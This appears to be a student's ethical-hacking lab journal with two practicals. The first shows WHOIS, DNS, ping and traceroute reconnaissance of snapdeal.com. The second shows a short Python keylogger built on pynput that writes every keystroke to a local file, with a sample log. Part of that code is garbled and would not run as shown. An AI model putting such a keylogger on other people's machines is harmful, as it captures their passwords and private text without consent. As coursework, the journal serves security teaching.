Practical no. 1

Aim:

Use Google and Whois for Reconnaissance

Who.is Homepage

Snapdeal info from Whois

Server and Domain Details of the company

who.is   Search for domains or IP addresses...   🔍   Pr

Name Servers

PDNS111.ULTRADNS.BIZ

PDNS111.ULTRADNS.COM

PDNS111.ULTRADNS.NET

PDNS111.ULTRADNS.ORG

Similar Domains

snapd-k.com | snapd-up.com | snapd.at | snapd.ca | snapd.co | snapd.co.nz |
snapd.info | snapd.net | snapd.nz | snapd.online | snapd.org | snapd.photograp
snapd3al.com | snapd4u.com |

Registrar Data

W

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```
Registrant Contact Information:
        Name                        Registration Private
        Organization                Domains By Proxy, LLC
        Address                     DomainsByProxy.com
        Address                     2155 E Warner Rd
        City                        Tempe
        State / Province            Arizona
        Postal Code                 85284
        Country                     US
        Phone                       +1.4806242599
```

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```
        Phone                               +1.4806242599
        Fax                                 +1.4806242598
        Email                               Select Contact Domain H

Administrative Contact Information:

        Name                                Registration Private
        Organization                        Domains By Proxy, LLC
        Address                             DomainsByProxy.com
        Address                             2155 E Warner Rd
        City                                Tempe
        State / Province                    Arizona
        Postal Code                         85284
        Country                             US
        Phone                               +1.4806242599
        Fax                                 +1.4806242598
        Email                               Select Contact Domain H

Technical Contact Information:

        Name                                Registration Private
        Organization                        Domains By Proxy, LLC
        Address                             DomainsByProxy.com
        Address                             2155 E Warner Rd
        City                                Tempe
        State / Province                    Arizona
        Postal Code                         85284
        Country                             US
        Phone                               +1.4806242599
        Fax                                 +1.4806242598
        Email                               Select Contact Domain H

Information Updated: 2023-01-25 02:41:17
```

https://www.name.com/aftermarket?searchtype=premium

DNS details of the webpage

← → C | 🔒 who.is/dns/snapdeal.com

who.is | Search for domains or IP addresses... | 🔍 | Pr

snapdeal.com
DNS information

| Whois | **DNS Records** | Diagnostics |

DNS Records for snapdeal.com

Hostname	Type	TTL	Priority	Cor
snapdeal.com	SOA	3600		sna
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	A	1800		103
snapdeal.com	A	1800		103
snapdeal.com	MX	1053	10	asp
snapdeal.com	MX	1053	10	asp
snapdeal.com	MX	1053	5	alt1

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← → C 🔒 who.is/dns/snapdeal.com

who.is Search for domains or IP addresses... 🔍 Pr

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snapdeal.com	SOA	3600		sna
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	A	1800		103
snapdeal.com	A	1800		103
snapdeal.com	MX	3600	10	asp
snapdeal.com	MX	3600	10	asp
snapdeal.com	MX	3600	5	alt1
snapdeal.com	MX	3600	5	alt2
snapdeal.com	MX	3600	1	asp
www.snapdeal.com	A	60		18.

Results of Ping and Traceroute commands of Snapdeal.com

← → C 🔒 who.is/dns/snapdeal.com

who.is

Search for domains or IP addresses... 🔍 Pr

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Hostname	Type	TTL	Priority	Co
snapdeal.com	SOA	3600		sna
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	NS	21600		pdn
snapdeal.com	A	1800		103
snapdeal.com	A	1800		103
snapdeal.com	MX	3600	10	asp
snapdeal.com	MX	3600	10	asp
snapdeal.com	MX	3600	5	alt1
snapdeal.com	MX	3600	5	alt2
snapdeal.com	MX	3600	1	asp
www.snapdeal.com	A	60		18.1

who.is   Search for domains or IP addresses...   🔍   Pr

Ping

```
PING snapdeal.com (103.194.152.149) 56(84) bytes of data.

--- snapdeal.com ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4101ms
```

Traceroute

```
traceroute to snapdeal.com (103.194.153.149), 30 hops max, 60 byte
 1  ip-10-0-0-14.ec2.internal (10.0.0.14)  1.802 ms  1.803 ms  1.7
 2  216.182.238.157 (216.182.238.157)  3.785 ms 216.182.229.174 (2
 3  100.65.83.96 (100.65.83.96)  9.348 ms 100.66.37.218 (100.66.37
 4  100.66.40.50 (100.66.40.50)  6.669 ms 100.66.40.114 (100.66.40
 5  241.0.4.213 (241.0.4.213)  2.482 ms 241.0.4.208 (241.0.4.208)
 6  240.0.40.16 (240.0.40.16)  2.501 ms 240.0.40.17 (240.0.40.17)
 7  240.0.40.25 (240.0.40.25)  1.576 ms 240.0.40.24 (240.0.40.24)
 8  242.0.170.129 (242.0.170.129)  3.537 ms  2.715 ms 242.0.171.1
 9  242.0.171.145 (242.0.171.145)  2.339 ms 242.0.171.129 (242.0.1
```

Waiting for www.google.com...

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Practical no 2

Code

Output

```
EHP1.py - D:\EHP1.py (3.11.1)
File  Edit  Format  Run  Options  Window  Help
from pynput.keyboard import Key,Listener

import logging

log_dir=""
logging.basicConfig(filename=(log_dir+"key_log.txt"),level
format="%(asctime)s:%(message)s:)"

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
```

```
key_log - Notepad

File   Edit   Format   View   Help

INFO:root:'s'
INFO:root:'a'
INFO:root:'s'
INFO:root:Key.enter
INFO:root:'a'
INFO:root:'s'
INFO:root:'d'
INFO:root:Key.enter
INFO:root:'a'
INFO:root:'s'
INFO:root:'d'
INFO:root:Key.enter
INFO:root:Key.shift
INFO:root:'H'
INFO:root:'e'
INFO:root:'l'
INFO:root:'l'
INFO:root:'o'
INFO:root:Key.enter
INFO:root:'h'
INFO:root:'e'
INFO:root:'l'
INFO:root:'l'
INFO:root:'o'
INFO:root:Key.enter
```